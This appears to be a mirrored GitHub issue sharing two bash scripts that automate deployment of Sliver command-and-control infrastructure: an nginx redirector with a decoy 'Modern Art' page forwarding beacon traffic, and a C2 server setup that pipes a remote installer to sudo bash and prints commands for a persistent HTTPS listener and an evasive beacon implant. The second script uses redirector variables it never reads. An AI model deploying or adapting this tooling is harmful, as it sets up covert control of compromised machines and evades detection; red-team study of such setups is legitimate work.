Giter Club home page Giter Club logo

blog's People

Stargazers

 avatar

Watchers

 avatar  avatar  avatar  avatar

blog's Issues

Sliver C2 Bash Code to help with Deployment

I made this to help deploy the C2 with minimal effort:

Redirector.sh

#!/bin/bash

# Prerequisites
read -p "Redirector IP: " REDIRECTOR_IP
read -p "C2 Attack Subdomain: " C2_SUBDOMAIN
read -p "Redirector Subdomain: " REDIRECTOR_SUBDOMAIN
read -p "Enter domain name: " DOMAIN_NAME

# Install dependencies
apt install nginx certbot -y

# Configure firewall
ufw allow 80/tcp
ufw allow 443/tcp

# Obtain SSL certificate
systemctl stop nginx.service
certbot certonly --agree-tos --standalone -m webmaster@$DOMAIN_NAME -d $REDIRECTOR_SUBDOMAIN

# Create Nginx configuration
cat > /etc/nginx/sites-available/redir.conf << EOF
# Add comments explaining each configuration block
server {
    listen 443 ssl;
    server_name $REDIRECTOR_SUBDOMAIN;

    ssl_certificate /etc/letsencrypt/live/$REDIRECTOR_SUBDOMAIN/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/$REDIRECTOR_SUBDOMAIN/privkey.pem;

    root /var/www/html-dl;

    location /content {
        proxy_pass https://$C2_SUBDOMAIN;
        proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;
    }

    location /assets {
        proxy_pass https://$C2_SUBDOMAIN;
        proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;
    }
}
EOF

# Configure Nginx
mkdir -p /var/www/html-dl
rm /etc/nginx/sites-enabled/default
ln -s /etc/nginx/sites-available/redir.conf /etc/nginx/sites-enabled
systemctl start nginx.service

# Optional: Place content in the web root
cat > /var/www/html/index.html << EOF
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Modern Art</title>
</head>
<body>
    <h1>Welcome to the World of Modern Art</h1>
    </body>
</html>
EOF

# Test Nginx
curl https://$REDIRECTOR_SUBDOMAIN

sliver.sh

#!/bin/bash

# Prerequisites
read -p "C2 Attack Subdomain: " C2_SUBDOMAIN
read -p "Enter domain name: " DOMAIN_NAME

# Install dependencies
apt install mingw-w64 certbot ufw -y

# Download and verify Golang installer
GO_VERSION="1.21.1"
GO_DL_URL="https://go.dev/dl/go${GO_VERSION}.linux-amd64.tar.gz"
wget -O go.tar.gz $GO_DL_URL

# Install Golang
sudo tar -C /usr/local -xzf go.tar.gz
export PATH=/usr/local/go/bin:$PATH
source ~/.bashrc
go version

# Install Sliver
curl https://sliver.sh/install | sudo bash

# Configure firewall
ufw allow 80/tcp # Temporarily allow port 80 for certbot
certbot certonly --agree-tos --standalone -m webmaster@$DOMAIN_NAME -d $C2_SUBDOMAIN
ufw delete allow 80/tcp # Close port 80
ufw allow from $REDIRECTOR_IP to any proto tcp port 443 # Allow only redirector IP

echo "Now, please enter the following commands in your Sliver terminal:"
echo "sliver"
echo "https --cert /etc/letsencrypt/live/$C2_SUBDOMAIN/cert.pem --key /etc/letsencrypt/live/$C2_SUBDOMAIN/privkey.pem --domain $C2_SUBDOMAIN --lhost 0.0.0.0 --lport 443 --persistent"
echo "generate beacon --disable-sgn --evasion --jitter 20 --seconds 10 --http $REDIRECTOR_SUBDOMAIN/content,$REDIRECTOR_SUBDOMAIN/assets"

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.